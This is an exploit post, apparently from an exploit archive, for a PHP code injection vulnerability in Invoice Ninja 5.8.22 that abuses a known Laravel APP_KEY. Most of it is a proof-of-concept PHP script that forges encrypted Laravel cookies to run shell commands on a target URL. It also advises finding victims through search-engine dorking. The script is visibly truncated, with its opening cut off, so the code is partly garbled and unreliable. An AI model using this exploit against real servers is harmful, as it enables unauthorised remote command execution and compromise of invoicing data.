============================================================================================================================================= | # Title : Invoice Ninja v 5.8.22 PHP Code Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64 bits) | | # Vendor : https://invoiceninja.com/ | ============================================================================================================================================= POC : [+] Dorking İn Google Or Other Search Enggine. [+] Code Description: A vulnerability in Invoice Ninja can also be exploited via a non-proficient character control attack using Laravel APP_KEY. (Related : https://packetstorm.news/files/id/189419/ Related CVE numbers: CVE-2024-55555) . [+] save code as poc.php. [+] line 85 set target. [+] Usage = php poc.php [+] PayLoad : $http_code, 'cookies' => $cookies, 'response' => $response]; } // دالة استخراج XSRF-TOKEN من الكوكيز function extract_xsrf_token($cookies) { foreach ($cookies as $cookie) { if (strpos($cookie, 'XSRF-TOKEN') !== false) { preg_match('/XSRF-TOKEN=([^;]+)/', $cookie, $matches); return $matches[1]; } } return null; } // دالة فك التشفير function laravel_decrypt($ciphertext, $key, $cipher_mode) { // هنا يمكن استخدام خوارزمية AES لفك التشفير // استخدم مكتبة OpenSSL في PHP لهذا الغرض return openssl_decrypt(base64_decode($ciphertext), $cipher_mode, base64_decode($key), OPENSSL_RAW_DATA); } // دالة التشفير function laravel_encrypt($plaintext, $key, $cipher_mode) { // استخدم مكتبة OpenSSL في PHP للتشفير return openssl_encrypt($plaintext, $cipher_mode, base64_decode($key), OPENSSL_RAW_DATA); } // استدعاء الوظائف مع القيم المناسبة $url = "https://target.com"; $app_key = "base64:RR++yx2rJ9kdxbdh3+AmbHLDQu+Q76i++co9Y8ybbno="; $command = "ls -la"; // استبدل بالأمر المطلوب execute_command($url, $command, $app_key); ?> Greetings to :===================================================================================== jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)| ===================================================================================================